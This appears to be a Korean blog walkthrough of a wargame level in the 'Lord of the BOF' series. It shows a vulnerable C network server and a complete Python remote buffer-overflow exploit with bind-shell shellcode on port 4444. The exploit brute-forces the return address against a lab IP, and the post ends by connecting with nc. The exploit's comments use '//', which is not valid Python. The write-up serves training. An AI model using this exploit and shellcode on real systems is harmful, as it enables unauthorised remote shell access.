[20] xavius -> death_knight ( Remote BOF )

2017. 11. 25. 17:30SystemHacking/LOB(BOF원정대)




xavius / throw me away 


[xavius@localhost xavius]$ /bin/bash2

[xavius@localhost xavius]$ export SHELL=/bin/bash2



[ death_knight.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
 
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
 
main()
{
        char buffer[40];
 
        int server_fd, client_fd;
        struct sockaddr_in server_addr;
        struct sockaddr_in client_addr;
        int sin_size;
 
        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
                exit(1);
        }
 
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(6666);
        server_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(server_addr.sin_zero), 8);
 
        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
                perror("bind");
                exit(1);
        }
 
        if(listen(server_fd, 10== -1){
                perror("listen");
                exit(1);
        }
 
        while(1) {
                sin_size = sizeof(struct sockaddr_in);
                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
                        perror("accept");
                        continue;
                }
 
                if (!fork()){
                        send(client_fd, "Death Knight : Not even death can save you from me!\n"520);
                        send(client_fd, "You : "60);
                        recv(client_fd, buffer, 2560);
                        close(client_fd);
                        break;
                }
 
                close(client_fd);
                while(waitpid(-1,NULL,WNOHANG) > 0);
        }
        close(server_fd);
}
 
 
cs


[ Stack ]

buffer          40byte

saved ebp    4byte

saved eip     &shellcode

shellcode


[ 동작과정 ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import socket
import struct
 
shellcode = b"\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68"
shellcode += b"\x11\x5c" # port number 4444
shellcode += b"\x66\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"
 
buffer = b"A" * 40
saved_ebp = b"AAAA"
tmp_saved_eip = 0xbfffffff
 
while 1:
  print('saved_eip: 0x%08x' %tmp_saved_eip)
  sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  sock.connect( ('100.100.100.143',6666) ) // LOB서버에 접속
 
  saved_eip =  struct.pack('I', tmp_saved_eip) // bfffffff -> ffffffbf
// ! : big-endian
  overflow = buffer + saved_ebp + saved_eip + shellcode
 
  sock.recv(65535) // 서버에서 보내는 문자열 수신
  sock.recv(65535) // 서버에서 보내는 문자열 수신
  sock.send( overflow ) // 서버에 문자열 전송,Buffer Overflow 발생
  sock.close() // 연결 종료
 
  tmp_saved_eip = tmp_saved_eip - 1 // 쉘코드의 주소를 모르기 때문에 -1하면서 반복 수행
 
cs


사용하는 쉘코드 : 해당 서버의 4444번 포트를 오픈시키는 바인드 쉘 실행코드

해당 파이썬 프로그램을 통해서 쉘코드의 주소를 모르기 때문에 쉘코드의 주소를 바꿔가며 전송한다

윈도우에 nc.exe 프로그램을 깔고 nc를 통해서 LOB서버에 4444 번의 포트에 접속되는지 확인하면 된다


[ 파이썬 실행결과 ]


[ nc를 통해 4444포트로 접속 ]